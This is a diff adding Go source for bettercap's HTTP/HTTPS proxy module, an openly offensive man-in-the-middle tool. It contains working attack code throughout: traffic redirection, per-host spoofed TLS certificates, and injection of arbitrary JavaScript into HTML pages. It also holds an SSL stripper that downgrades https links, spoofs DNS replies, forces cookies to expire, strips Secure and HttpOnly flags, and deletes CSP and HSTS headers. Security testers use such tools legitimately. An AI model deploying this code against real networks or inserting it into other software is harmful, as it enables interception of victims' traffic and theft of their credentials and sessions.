+			p.Error("error while using proxy blacklist expression '%s': %v", expr, err)
+		} else if matched {
+			p.Debug("hostname '%s' matched blacklisted element '%s'", hostname, expr)
+			return false
+		}
+	}
+
+	return true
+}
+
+func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string,
+	jsToInject string, stripSSL bool) error {
+	var err error
+
+	// check if another http(s) proxy is using sslstrip and merge strippers
+	if stripSSL {
+		for _, mname := range []string{"http.proxy", "https.proxy"}{
+			err, m := p.Sess.Module(mname)
+			if err == nil && m.Running() {
+				var mextra interface{}
+				var mstripper *SSLStripper
+				mextra = m.Extra()
+				mextramap := mextra.(map[string]interface{})
+				mstripper = mextramap["stripper"].(*SSLStripper)
+				if mstripper != nil && mstripper.Enabled() {
+					p.Info("found another proxy using sslstrip -> merging strippers...")
+					p.Stripper = mstripper
+					break
+				}
+			}
+		}
+	}
+
+	p.Stripper.Enable(stripSSL)
+	p.Address = address
+	p.doRedirect = doRedirect
+	p.jsHook = ""
+
+	if strings.HasPrefix(jsToInject, "http://") || strings.HasPrefix(jsToInject, "https://") {
+		p.jsHook = fmt.Sprintf("<script src=\"%s\" type=\"text/javascript\"></script></head>", jsToInject)
+	} else if fs.Exists(jsToInject) {
+		if data, err := ioutil.ReadFile(jsToInject); err != nil {
+			return err
+		} else {
+			jsToInject = string(data)
+		}
+	}
+
+	if p.jsHook == "" && jsToInject != "" {
+		if !strings.HasPrefix(jsToInject, "<script ") {
+			jsToInject = fmt.Sprintf("<script type=\"text/javascript\">%s</script>", jsToInject)
+		}
+		p.jsHook = fmt.Sprintf("%s</head>", jsToInject)
+	}
+
+	if scriptPath != "" {
+		if err, p.Script = LoadHttpProxyScript(scriptPath, p.Sess); err != nil {
+			return err
+		} else {
+			p.Debug("proxy script %s loaded.", scriptPath)
+		}
+	}
+
+	p.Server = &http.Server{
+		Addr:         fmt.Sprintf("%s:%d", p.Address, proxyPort),
+		Handler:      p.Proxy,
+		ReadTimeout:  httpReadTimeout,
+		WriteTimeout: httpWriteTimeout,
+	}
+
+	if p.doRedirect {
+		if !p.Sess.Firewall.IsForwardingEnabled() {
+			p.Info("enabling forwarding.")
+			p.Sess.Firewall.EnableForwarding(true)
+		}
+
+		p.Redirection = firewall.NewRedirection(p.Sess.Interface.Name(),
+			"TCP",
+			httpPort,
+			p.Address,
+			proxyPort)
+
+		if err := p.Sess.Firewall.EnableRedirection(p.Redirection, true); err != nil {
+			return err
+		}
+
+		p.Debug("applied redirection %s", p.Redirection.String())
+	} else {
+		p.Warning("port redirection disabled, the proxy must be set manually to work")
+	}
+
+	p.Sess.UnkCmdCallback = func(cmd string) bool {
+		if p.Script != nil {
+			return p.Script.OnCommand(cmd)
+		}
+		return false
+	}
+
+	return nil
+}
+
+func (p *HTTPProxy) TLSConfigFromCA(ca *tls.Certificate) func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error) {
+	return func(host string, ctx *goproxy.ProxyCtx) (c *tls.Config, err error) {
+		parts := strings.SplitN(host, ":", 2)
+		hostname := parts[0]
+		port := 443
+		if len(parts) > 1 {
+			port, err = strconv.Atoi(parts[1])
+			if err != nil {
+				port = 443
+			}
+		}
+
+		cert := getCachedCert(hostname, port)
+		if cert == nil {
+			p.Info("creating spoofed certificate for %s:%d", tui.Yellow(hostname), port)
+			cert, err = btls.SignCertificateForHost(ca, hostname, port)
+			if err != nil {
+				p.Warning("cannot sign host certificate with provided CA: %s", err)
+				return nil, err
+			}
+
+			setCachedCert(hostname, port, cert)
+		} else {
+			p.Debug("serving spoofed certificate for %s:%d", tui.Yellow(hostname), port)
+		}
+
+		config := tls.Config{
+			InsecureSkipVerify: true,
+			Certificates:       []tls.Certificate{*cert},
+		}
+
+		return &config, nil
+	}
+}
+
+func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string,
+	certFile string,
+	keyFile string, jsToInject string, stripSSL bool) (err error) {
+	if err = p.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL); err != nil {
+		return err
+	}
+
+	p.isTLS = true
+	p.Name = "https.proxy"
+	p.CertFile = certFile
+	p.KeyFile = keyFile
+
+	rawCert, _ := ioutil.ReadFile(p.CertFile)
+	rawKey, _ := ioutil.ReadFile(p.KeyFile)
+	ourCa, err := tls.X509KeyPair(rawCert, rawKey)
+	if err != nil {
+		return err
+	}
+
+	if ourCa.Leaf, err = x509.ParseCertificate(ourCa.Certificate[0]); err != nil {
+		return err
+	}
+
+	goproxy.GoproxyCa = ourCa
+	goproxy.OkConnect = &goproxy.ConnectAction{Action: goproxy.ConnectAccept, TLSConfig: p.TLSConfigFromCA(&ourCa)}
+	goproxy.MitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectMitm, TLSConfig: p.TLSConfigFromCA(&ourCa)}
+	goproxy.HTTPMitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectHTTPMitm, TLSConfig: p.TLSConfigFromCA(&ourCa)}
+	goproxy.RejectConnect = &goproxy.ConnectAction{Action: goproxy.ConnectReject, TLSConfig: p.TLSConfigFromCA(&ourCa)}
+
+	return nil
+}
+
+func (p *HTTPProxy) httpWorker() error {
+	p.isRunning = true
+	return p.Server.ListenAndServe()
+}
+
+type dumbResponseWriter struct {
+	net.Conn
+}
+
+func (dumb dumbResponseWriter) Header() http.Header {
+	panic("Header() should not be called on this ResponseWriter")
+}
+
+func (dumb dumbResponseWriter) Write(buf []byte) (int, error) {
+	if bytes.Equal(buf, []byte("HTTP/1.0 200 OK\r\n\r\n")) {
+		return len(buf), nil // throw away the HTTP OK response from the faux CONNECT request
+	}
+	return dumb.Conn.Write(buf)
+}
+
+func (dumb dumbResponseWriter) WriteHeader(code int) {
+	panic("WriteHeader() should not be called on this ResponseWriter")
+}
+
+func (dumb dumbResponseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
+	return dumb, bufio.NewReadWriter(bufio.NewReader(dumb), bufio.NewWriter(dumb)), nil
+}
+
+func (p *HTTPProxy) httpsWorker() error {
+	var err error
+
+	// listen to the TLS ClientHello but make it a CONNECT request instead
+	p.sniListener, err = net.Listen("tcp", p.Server.Addr)
+	if err != nil {
+		return err
+	}
+
+	p.isRunning = true
+	for p.isRunning {
+		c, err := p.sniListener.Accept()
+		if err != nil {
+			p.Warning("error accepting connection: %s.", err)
+			continue
+		}
+
+		go func(c net.Conn) {
+			now := time.Now()
+			c.SetReadDeadline(now.Add(httpReadTimeout))
+			c.SetWriteDeadline(now.Add(httpWriteTimeout))
+
+			tlsConn, err := vhost.TLS(c)
+			if err != nil {
+				p.Warning("error reading SNI: %s.", err)
+				return
+			}
+
+			hostname := tlsConn.Host()
+			if hostname == "" {
+				p.Warning("client does not support SNI.")
+				return
+			}
+
+			p.Debug("proxying connection from %s to %s", tui.Bold(stripPort(c.RemoteAddr().String())), tui.Yellow(hostname))
+
+			req := &http.Request{
+				Method: "CONNECT",
+				URL: &url.URL{
+					Opaque: hostname,
+					Host:   net.JoinHostPort(hostname, "443"),
+				},
+				Host:       hostname,
+				Header:     make(http.Header),
+				RemoteAddr: c.RemoteAddr().String(),
+			}
+			p.Proxy.ServeHTTP(dumbResponseWriter{tlsConn}, req)
+		}(c)
+	}
+
+	return nil
+}
+
+func (p *HTTPProxy) Start() {
+	go func() {
+		var err error
+
+		strip := tui.Yellow("enabled")
+		if !p.Stripper.Enabled() {
+			strip = tui.Dim("disabled")
+		}
+
+		p.Info("started on %s (sslstrip %s)", p.Server.Addr, strip)
+
+		if p.isTLS {
+			err = p.httpsWorker()
+		} else {
+			err = p.httpWorker()
+		}
+
+		if err != nil && err.Error() != "http: Server closed" {
+			p.Fatal("%s", err)
+		}
+	}()
+}
+
+func (p *HTTPProxy) Stop() error {
+	if p.doRedirect && p.Redirection != nil {
+		p.Debug("disabling redirection %s", p.Redirection.String())
+		if err := p.Sess.Firewall.EnableRedirection(p.Redirection, false); err != nil {
+			return err
+		}
+		p.Redirection = nil
+	}
+
+	p.Sess.UnkCmdCallback = nil
+
+	if p.isTLS {
+		p.isRunning = false
+		p.sniListener.Close()
+		return nil
+	} else {
+		ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+		defer cancel()
+		return p.Server.Shutdown(ctx)
+	}
+}

+ 81 - 0
bettercap/modules/http_proxy/http_proxy_base_cookietracker.go

@@ -0,0 +1,81 @@
+package http_proxy
+
+import (
+	"fmt"
+	"net/http"
+	"strings"
+	"sync"
+
+	"github.com/elazarl/goproxy"
+	"github.com/jpillora/go-tld"
+)
+
+type CookieTracker struct {
+	sync.RWMutex
+	set map[string]bool
+}
+
+func NewCookieTracker() *CookieTracker {
+	return &CookieTracker{
+		set: make(map[string]bool),
+	}
+}
+
+func (t *CookieTracker) domainOf(req *http.Request) string {
+	if parsed, err := tld.Parse(req.Host); err != nil {
+		return req.Host
+	} else {
+		return fmt.Sprintf("%s.%s", parsed.Domain, parsed.TLD)
+	}
+}
+
+func (t *CookieTracker) keyOf(req *http.Request) string {
+	client := strings.Split(req.RemoteAddr, ":")[0]
+	domain := t.domainOf(req)
+	return fmt.Sprintf("%s-%s", client, domain)
+}
+
+func (t *CookieTracker) IsClean(req *http.Request) bool {
+	// we only clean GET requests
+	if req.Method != "GET" {
+		return true
+	}
+
+	// does the request have any cookie?
+	cookie := req.Header.Get("Cookie")
+	if cookie == "" {
+		return true
+	}
+
+	t.RLock()
+	defer t.RUnlock()
+
+	// was it already processed?
+	if _, found := t.set[t.keyOf(req)]; found {
+		return true
+	}
+
+	// unknown session cookie
+	return false
+}
+
+func (t *CookieTracker) Track(req *http.Request) {
+	t.Lock()
+	defer t.Unlock()
+	t.set[t.keyOf(req)] = true
+}
+
+func (t *CookieTracker) Expire(req *http.Request) *http.Response {
+	domain := t.domainOf(req)
+	redir := goproxy.NewResponse(req, "text/plain", 302, "")
+
+	for _, c := range req.Cookies() {
+		redir.Header.Add("Set-Cookie", fmt.Sprintf("%s=EXPIRED; path=/; domain=%s; Expires=Mon, 01-Jan-1990 00:00:00 GMT", c.Name, domain))
+		redir.Header.Add("Set-Cookie", fmt.Sprintf("%s=EXPIRED; path=/; domain=%s; Expires=Mon, 01-Jan-1990 00:00:00 GMT", c.Name, c.Domain))
+	}
+
+	redir.Header.Add("Location", fmt.Sprintf("http://%s/", req.Host))
+	redir.Header.Add("Connection", "close")
+
+	return redir
+}

+ 164 - 0
bettercap/modules/http_proxy/http_proxy_base_filters.go

@@ -0,0 +1,164 @@
+package http_proxy
+
+import (
+	"io/ioutil"
+	"net/http"
+	"strings"
+	"strconv"
+
+	"github.com/elazarl/goproxy"
+
+	"github.com/evilsocket/islazy/tui"
+)
+
+func (p *HTTPProxy) fixRequestHeaders(req *http.Request) {
+	req.Header.Del("Accept-Encoding")
+	req.Header.Del("If-None-Match")
+	req.Header.Del("If-Modified-Since")
+	req.Header.Del("Upgrade-Insecure-Requests")
+	req.Header.Set("Pragma", "no-cache")
+}
+
+func (p *HTTPProxy) onRequestFilter(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {
+	if p.shouldProxy(req) {
+		p.Debug("< %s %s %s%s", req.RemoteAddr, req.Method, req.Host, req.URL.Path)
+
+		p.fixRequestHeaders(req)
+
+		redir := p.Stripper.Preprocess(req, ctx)
+		if redir != nil {
+			// we need to redirect the user in order to make
+			// some session cookie expire
+			return req, redir
+		}
+
+		// do we have a proxy script?
+		if p.Script == nil {
+			return req, nil
+		}
+
+		// run the module OnRequest callback if defined
+		jsreq, jsres := p.Script.OnRequest(req)
+		if jsreq != nil {
+			// the request has been changed by the script
+			p.logRequestAction(req, jsreq)
+			return jsreq.ToRequest(), nil
+		} else if jsres != nil {
+			// a fake response has been returned by the script
+			p.logResponseAction(req, jsres)
+			return req, jsres.ToResponse(req)
+		}
+	}
+
+	return req, nil
+}
+
+func (p *HTTPProxy) getHeader(res *http.Response, header string) string {
+	header = strings.ToLower(header)
+	for name, values := range res.Header {
+		for _, value := range values {
+			if strings.ToLower(name) == header {
+				return value
+			}
+		}
+	}
+	return ""
+}
+
+func (p *HTTPProxy) isScriptInjectable(res *http.Response) (bool, string) {
+	if p.jsHook == "" {
+		return false, ""
+	} else if contentType := p.getHeader(res, "Content-Type"); strings.Contains(contentType, "text/html") {
+		return true, contentType
+	}
+	return false, ""
+}
+
+func (p *HTTPProxy) doScriptInjection(res *http.Response, cType string) (error) {
+	defer res.Body.Close()
+
+	raw, err := ioutil.ReadAll(res.Body)
+	if err != nil {
+		return err
+	} else if html := string(raw); strings.Contains(html, "</head>") {
+		p.Info("> injecting javascript (%d bytes) into %s (%d bytes) for %s",
+			len(p.jsHook),
+			tui.Yellow(res.Request.Host+res.Request.URL.Path),
+			len(raw),
+			tui.Bold(strings.Split(res.Request.RemoteAddr, ":")[0]))
+
+		html = strings.Replace(html, "</head>", p.jsHook, -1)
+		res.Header.Set("Content-Length", strconv.Itoa(len(html)))
+
+		// reset the response body to the original unread state
+		res.Body = ioutil.NopCloser(strings.NewReader(html))
+
+		return nil
+	}
+
+	return nil
+}
+
+func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response {
+	// sometimes it happens ¯\_(ツ)_/¯
+	if res == nil {
+		return nil
+	}
+
+	if p.shouldProxy(res.Request) {
+		p.Debug("> %s %s %s%s", res.Request.RemoteAddr, res.Request.Method, res.Request.Host, res.Request.URL.Path)
+
+		p.Stripper.Process(res, ctx)
+
+		// do we have a proxy script?
+		if p.Script != nil {
+			_, jsres := p.Script.OnResponse(res)
+			if jsres != nil {
+				// the response has been changed by the script
+				p.logResponseAction(res.Request, jsres)
+				return jsres.ToResponse(res.Request)
+			}
+		}
+
+		// inject javascript code if specified and needed
+		if doInject, cType := p.isScriptInjectable(res); doInject {
+			if err := p.doScriptInjection(res, cType); err != nil {
+				p.Error("error while injecting javascript: %s", err)
+			}
+		}
+	}
+
+	return res
+}
+
+func (p *HTTPProxy) logRequestAction(req *http.Request, jsreq *JSRequest) {
+	p.Sess.Events.Add(p.Name+".spoofed-request", struct {
+		To     string
+		Method string
+		Host   string
+		Path   string
+		Size   int
+	}{
+		strings.Split(req.RemoteAddr, ":")[0],
+		jsreq.Method,
+		jsreq.Hostname,
+		jsreq.Path,
+		len(jsreq.Body),
+	})
+}
+
+func (p *HTTPProxy) logResponseAction(req *http.Request, jsres *JSResponse) {
+	p.Sess.Events.Add(p.Name+".spoofed-response", struct {
+		To     string
+		Method string
+		Host   string
+		Path   string
+		Size   int
+	}{
+		strings.Split(req.RemoteAddr, ":")[0],
+		req.Method,
+		req.Host,
+		req.URL.Path,
+		len(jsres.Body),
+	})
+}

+ 72 - 0
bettercap/modules/http_proxy/http_proxy_base_hosttracker.go

@@ -0,0 +1,72 @@
+package http_proxy
+
+import (
+	"net"
+	"sync"
+)
+
+type Host struct {
+	Hostname string
+	Address  net.IP
+	Resolved sync.WaitGroup
+}
+
+func NewHost(name string) *Host {
+	h := &Host{
+		Hostname: name,
+		Address:  nil,
+		Resolved: sync.WaitGroup{},
+	}
+
+	h.Resolved.Add(1)
+	go func(ph *Host) {
+		defer ph.Resolved.Done()
+		if addrs, err := net.LookupIP(ph.Hostname); err == nil && len(addrs) > 0 {
+			ph.Address = make(net.IP, len(addrs[0]))
+			copy(ph.Address, addrs[0])
+		} else {
+			ph.Address = nil
+		}
+	}(h)
+
+	return h
+}
+
+type HostTracker struct {
+	sync.RWMutex
+	uhosts map[string]*Host
+	shosts map[string]*Host
+}
+
+func NewHostTracker() *HostTracker {
+	return &HostTracker{
+		uhosts: make(map[string]*Host),
+		shosts: make(map[string]*Host),
+	}
+}
+
+func (t *HostTracker) Track(host, stripped string) {
+	t.Lock()
+	defer t.Unlock()
+	t.uhosts[stripped] = NewHost(host)
+	t.shosts[host] = NewHost(stripped)
+}
+
+func (t *HostTracker) Unstrip(stripped string) *Host {
+	t.RLock()
+	defer t.RUnlock()
+	if host, found := t.uhosts[stripped]; found {
+		return host
+	}
+	return nil
+}
+
+
+func (t *HostTracker) Strip(unstripped string) *Host {
+	t.RLock()
+	defer t.RUnlock()
+	if host, found := t.shosts[unstripped]; found {
+		return host
+	}
+	return nil
+}

+ 295 - 0
bettercap/modules/http_proxy/http_proxy_base_sslstriper.go

@@ -0,0 +1,295 @@
+package http_proxy
+
+import (
+	"io/ioutil"
+	"net/http"
+	"net/url"
+	"regexp"
+	"strconv"
+	"strings"
+
+	"github.com/bettercap/bettercap/log"
+	"github.com/bettercap/bettercap/modules/dns_spoof"
+	"github.com/bettercap/bettercap/network"
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/elazarl/goproxy"
+	"github.com/google/gopacket"
+	"github.com/google/gopacket/layers"
+	"github.com/google/gopacket/pcap"
+
+	"github.com/evilsocket/islazy/tui"
+
+	"golang.org/x/net/idna"
+)
+
+var (
+	httpsLinksParser   = regexp.MustCompile(`https://[^"'/]+`)
+	domainCookieParser = regexp.MustCompile(`; ?(?i)domain=.*(;|$)`)
+	flagsCookieParser  = regexp.MustCompile(`; ?(?i)(secure|httponly)`)
+)
+
+type SSLStripper struct {
+	enabled       bool
+	session       *session.Session
+	cookies       *CookieTracker
+	hosts         *HostTracker
+	handle        *pcap.Handle
+	pktSourceChan chan gopacket.Packet
+}
+
+func NewSSLStripper(s *session.Session, enabled bool) *SSLStripper {
+	strip := &SSLStripper{
+		enabled: false,
+		cookies: NewCookieTracker(),
+		hosts:   NewHostTracker(),
+		session: s,
+		handle:  nil,
+	}
+	strip.Enable(enabled)
+	return strip
+}
+
+func (s *SSLStripper) Enabled() bool {
+	return s.enabled
+}
+
+func (s *SSLStripper) onPacket(pkt gopacket.Packet) {
+	typeEth := pkt.Layer(layers.LayerTypeEthernet)
+	typeUDP := pkt.Layer(layers.LayerTypeUDP)
+	if typeEth == nil || typeUDP == nil {
+		return
+	}
+
+	eth := typeEth.(*layers.Ethernet)
+	dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS)
+	if parsed && dns.OpCode == layers.DNSOpCodeQuery && len(dns.Questions) > 0 && len(dns.Answers) == 0 {
+		udp := typeUDP.(*layers.UDP)
+		for _, q := range dns.Questions {
+			domain := string(q.Name)
+			original := s.hosts.Unstrip(domain)
+			if original != nil && original.Address != nil {
+				redir, who := dns_spoof.DnsReply(s.session, 1024, pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC)
+				if redir != "" && who != "" {
+					log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who))
+				}
+			}
+		}
+	}
+}
+
+func (s *SSLStripper) Enable(enabled bool) {
+	s.enabled = enabled
+
+	if enabled && s.handle == nil {
+		var err error
+
+		if s.handle, err = network.Capture(s.session.Interface.Name()); err != nil {
+			panic(err)
+		}
+
+		if err = s.handle.SetBPFFilter("udp"); err != nil {
+			panic(err)
+		}
+
+		go func() {
+			defer func() {
+				s.handle.Close()
+				s.handle = nil
+			}()
+
+			for s.enabled {
+				src := gopacket.NewPacketSource(s.handle, s.handle.LinkType())
+				s.pktSourceChan = src.Packets()
+				for packet := range s.pktSourceChan {
+					if !s.enabled {
+						break
+					}
+
+					s.onPacket(packet)
+				}
+			}
+		}()
+	}
+}
+
+func (s *SSLStripper) isContentStrippable(res *http.Response) bool {
+	for name, values := range res.Header {
+		for _, value := range values {
+			if name == "Content-Type" {
+				return strings.HasPrefix(value, "text/") || strings.Contains(value, "javascript")
+			}
+		}
+	}
+
+	return false
+}
+
+func (s *SSLStripper) stripURL(url string) string {
+	return strings.Replace(url, "https://", "http://", 1)
+}
+
+// sslstrip preprocessing, takes care of:
+//
+// - handling stripped domains
+// - making unknown session cookies expire
+func (s *SSLStripper) Preprocess(req *http.Request, ctx *goproxy.ProxyCtx) (redir *http.Response) {
+	if !s.enabled {
+		return
+	}
+
+	// handle stripped domains
+	original := s.hosts.Unstrip(req.Host)
+	if original != nil {
+		log.Info("[%s] Replacing host %s with %s in request from %s and transmitting HTTPS", tui.Green("sslstrip"), tui.Bold(req.Host), tui.Yellow(original.Hostname), req.RemoteAddr)
+		req.Host = original.Hostname
+		req.URL.Host = original.Hostname
+		req.Header.Set("Host", original.Hostname)
+		req.URL.Scheme = "https"
+	}
+
+	if !s.cookies.IsClean(req) {
+		// check if we need to redirect the user in order
+		// to make unknown session cookies expire
+		log.Info("[%s] Sending expired cookies for %s to %s", tui.Green("sslstrip"), tui.Yellow(req.Host), req.RemoteAddr)
+		s.cookies.Track(req)
+		redir = s.cookies.Expire(req)
+	}
+
+	return
+}
+
+func (s *SSLStripper) fixCookies(res *http.Response) {
+	origHost := res.Request.URL.Hostname()
+	strippedHost := s.hosts.Strip(origHost)
+
+	if strippedHost != nil && strippedHost.Hostname != origHost && res.Header["Set-Cookie"] != nil {
+		// get domains from hostnames
+		if origParts, strippedParts := strings.Split(origHost, "."), strings.Split(strippedHost.Hostname, "."); len(origParts) > 1 && len(strippedParts) > 1 {
+			origDomain := origParts[len(origParts)-2] + "." + origParts[len(origParts)-1]
+			strippedDomain := strippedParts[len(strippedParts)-2] + "." + strippedParts[len(strippedParts)-1]
+
+			log.Info("[%s] Fixing cookies on %s", tui.Green("sslstrip"), tui.Bold(strippedHost.Hostname))
+			cookies := make([]string, len(res.Header["Set-Cookie"]))
+			// replace domain and strip "secure" flag for each cookie
+			for i, cookie := range res.Header["Set-Cookie"] {
+				domainIndex := domainCookieParser.FindStringIndex(cookie)
+				if domainIndex != nil {
+					cookie = cookie[:domainIndex[0]] + strings.Replace(cookie[domainIndex[0]:domainIndex[1]], origDomain, strippedDomain, 1) + cookie[domainIndex[1]:]
+				}
+				cookies[i] = flagsCookieParser.ReplaceAllString(cookie, "")
+			}
+			res.Header["Set-Cookie"] = cookies
+			s.cookies.Track(res.Request)
+		}
+	}
+}
+
+func (s *SSLStripper) fixResponseHeaders(res *http.Response) {
+	res.Header.Del("Content-Security-Policy-Report-Only")
+	res.Header.Del("Content-Security-Policy")
+	res.Header.Del("Strict-Transport-Security")
+	res.Header.Del("Public-Key-Pins")
+	res.Header.Del("Public-Key-Pins-Report-Only")
+	res.Header.Del("X-Frame-Options")
+	res.Header.Del("X-Content-Type-Options")
+	res.Header.Del("X-WebKit-CSP")
+	res.Header.Del("X-Content-Security-Policy")
+	res.Header.Del("X-Download-Options")
+	res.Header.Del("X-Permitted-Cross-Domain-Policies")
+	res.Header.Del("X-Xss-Protection")
+	res.Header.Set("Allow-Access-From-Same-Origin", "*")
+	res.Header.Set("Access-Control-Allow-Origin", "*")
+	res.Header.Set("Access-Control-Allow-Methods", "*")
+	res.Header.Set("Access-Control-Allow-Headers", "*")
+}
+
+func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
+	if !s.enabled {
+		return
+	}
+
+	s.fixResponseHeaders(res)
+
+	orig := res.Request.URL
+	origHost := orig.Hostname()
+
+	// is the server redirecting us?
+	if res.StatusCode != 200 {
+		// extract Location header
+		if location, err := res.Location(); location != nil && err == nil {
+			newHost := location.Host
+			newURL := location.String()
+
+			// are we getting redirected from http to https?
+			if orig.Scheme == "http" && location.Scheme == "https" {
+
+				log.Info("[%s] Got redirection from HTTP to HTTPS: %s -> %s", tui.Green("sslstrip"), tui.Yellow("http://"+origHost), tui.Bold("https://"+newHost))
+
+				// strip the URL down to an alternative HTTP version and save it to an ASCII Internationalized Domain Name
+				strippedURL := s.stripURL(newURL)
+				parsed, _ := url.Parse(strippedURL)
+				hostStripped := parsed.Hostname()
+				hostStripped, _ = idna.ToASCII(hostStripped)
+				s.hosts.Track(newHost, hostStripped)
+
+				res.Header.Set("Location", strippedURL)
+			}
+		}
+	}
+
+	// if we have a text or html content type, fetch the body
+	// and perform sslstripping
+	if s.isContentStrippable(res) {
+		raw, err := ioutil.ReadAll(res.Body)
+		if err != nil {
+			log.Error("Could not read response body: %s", err)
+			return
+		}
+
+		body := string(raw)
+		urls := make(map[string]string)
+		matches := httpsLinksParser.FindAllString(body, -1)
+		for _, u := range matches {
+			// make sure we only strip valid URLs
+			if parsed, _ := url.Parse(u); parsed != nil {
+				// strip the URL down to an alternative HTTP version
+				urls[u] = s.stripURL(u)
+			}
+		}
+
+		nurls := len(urls)
+		if nurls > 0 {
+			plural := "s"
+			if nurls == 1 {
+				plural = ""
+			}
+			log.Info("[%s] Stripping %d SSL link%s from %s", tui.Green("sslstrip"), nurls, plural, tui.Bold(res.Request.Host))
+		}
+
+		for u, stripped := range urls {
+			log.Debug("Stripping url %s to %s", tui.Bold(u), tui.Yellow(stripped))
+
+			body = strings.Replace(body, u, stripped, -1)
+
+			// save stripped host to an ASCII Internationalized Domain Name
+			parsed, _ := url.Parse(u)
+			hostOriginal := parsed.Hostname()
+			parsed, _ = url.Parse(stripped)
+			hostStripped := parsed.Hostname()
+			hostStripped, _ = idna.ToASCII(hostStripped)
+			s.hosts.Track(hostOriginal, hostStripped)
+		}
+
+		res.Header.Set("Content-Length", strconv.Itoa(len(body)))
+
+		// fix cookies domain + strip "secure" + "httponly" flags
+		s.fixCookies(res)
+
+		// reset the response body to the original unread state
+		// but with just a string reader, this way further calls
+		// to ioutil.ReadAll(res.Body) will just return the content
+		// we stripped without downloading anything again.
+		res.Body = ioutil.NopCloser(strings.NewReader(body))
+	}
+}

+ 31 - 0
bettercap/modules/http_proxy/http_proxy_cert_cache.go

@@ -0,0 +1,31 @@
+package http_proxy
+
+import (
+	"crypto/tls"
+	"fmt"
+	"sync"
+)
+
+var (
+	certCache = make(map[string]*tls.Certificate)
+	certLock  = &sync.Mutex{}
+)
+
+func keyFor(domain string, port int) string {
+	return fmt.Sprintf("%s:%d", domain, port)
+}
+
+func getCachedCert(domain string, port int) *tls.Certificate {
+	certLock.Lock()
+	defer certLock.Unlock()
+	if cert, found := certCache[keyFor(domain, port)]; found {
+		return cert
+	}
+	return nil
+}
+
+func setCachedCert(domain string, port int, cert *tls.Certificate) {
+	certLock.Lock()
+	defer certLock.Unlock()
+	certCache[keyFor(domain, port)] = cert
+}

+ 243 - 0
bettercap/modules/http_proxy/http_proxy_js_request.go

@@ -0,0 +1,243 @@
+package http_proxy
+
+import (
+	"bytes"
+	"fmt"
+	"io/ioutil"
+	"net/http"
+	"net/url"
+	"regexp"
+	"strings"
+
+	"github.com/bettercap/bettercap/session"
+)
+
+type JSRequest struct {
+	Client      map[string]string
+	Method      string
+	Version     string
+	Scheme      string
+	Path        string
+	Query       string
+	Hostname    string
+	Port        string
+	ContentType string
+	Headers     string
+	Body        string
+
+	req      *http.Request
+	refHash  string
+	bodyRead bool
+}
+
+var header_regexp = regexp.MustCompile(`^\s*(.*?)\s*:\s*(.*)\s*$`)
+
+func NewJSRequest(req *http.Request) *JSRequest {
+	headers := ""
+	cType := ""
+
+	for name, values := range req.Header {
+		for _, value := range values {
+			headers += name + ": " + value + "\r\n"
+
+			if strings.ToLower(name) == "content-type" {
+				cType = value
+			}
+		}
+	}
+
+	client_ip := strings.Split(req.RemoteAddr, ":")[0]
+	client_mac := ""
+	client_alias := ""
+	if endpoint := session.I.Lan.GetByIp(client_ip); endpoint != nil {
+		client_mac = endpoint.HwAddress
+		client_alias = endpoint.Alias
+	}
+
+	jreq := &JSRequest{
+		Client:      map[string]string{"IP": client_ip, "MAC": client_mac, "Alias": client_alias},
+		Method:      req.Method,
+		Version:     fmt.Sprintf("%d.%d", req.ProtoMajor, req.ProtoMinor),
+		Scheme:      req.URL.Scheme,
+		Hostname:    req.URL.Hostname(),
+		Port:        req.URL.Port(),
+		Path:        req.URL.Path,
+		Query:       req.URL.RawQuery,
+		ContentType: cType,
+		Headers:     headers,
+
+		req:      req,
+		bodyRead: false,
+	}
+	jreq.UpdateHash()
+
+	return jreq
+}
+
+func (j *JSRequest) NewHash() string {
+	hash := fmt.Sprintf("%s.%s.%s.%s.%s.%s.%s.%s.%s.%s",
+		j.Client["IP"],
+		j.Method,
+		j.Version,
+		j.Scheme,
+		j.Hostname,
+		j.Port,
+		j.Path,
+		j.Query,
+		j.ContentType,
+		j.Headers)
+	hash += "." + j.Body
+	return hash
+}
+
+func (j *JSRequest) UpdateHash() {
+	j.refHash = j.NewHash()
+}
+
+func (j *JSRequest) WasModified() bool {
+	// body was read
+	if j.bodyRead {
+		return true
+	}
+	// check if any of the fields has been changed
+	return j.NewHash() != j.refHash
+}
+
+func (j *JSRequest) GetHeader(name, deflt string) string {
+	headers := strings.Split(j.Headers, "\r\n")
+	for i := 0; i < len(headers); i++ {
+		if headers[i] != "" {
+			header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
+			if len(header_parts) != 0 && len(header_parts[0]) == 3 {
+				header_name := string(header_parts[0][1])
+				header_value := string(header_parts[0][2])
+
+				if strings.ToLower(name) == strings.ToLower(header_name) {
+					return header_value
+				}
+			}
+		}
+	}
+	return deflt
+}
+
+func (j *JSRequest) SetHeader(name, value string) {
+	name = strings.TrimSpace(name)
+	value = strings.TrimSpace(value)
+
+	if strings.ToLower(name) == "content-type" {
+		j.ContentType = value
+	}
+
+	headers := strings.Split(j.Headers, "\r\n")
+	for i := 0; i < len(headers); i++ {
+		if headers[i] != "" {
+			header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
+			if len(header_parts) != 0 && len(header_parts[0]) == 3 {
+				header_name := string(header_parts[0][1])
+				header_value := string(header_parts[0][2])
+
+				if strings.ToLower(name) == strings.ToLower(header_name) {
+					old_header := header_name + ": " + header_value + "\r\n"
+					new_header := name + ": " + value + "\r\n"
+					j.Headers = strings.Replace(j.Headers, old_header, new_header, 1)
+					return
+				}
+			}
+		}
+	}
+	j.Headers += name + ": " + value + "\r\n"
+}
+
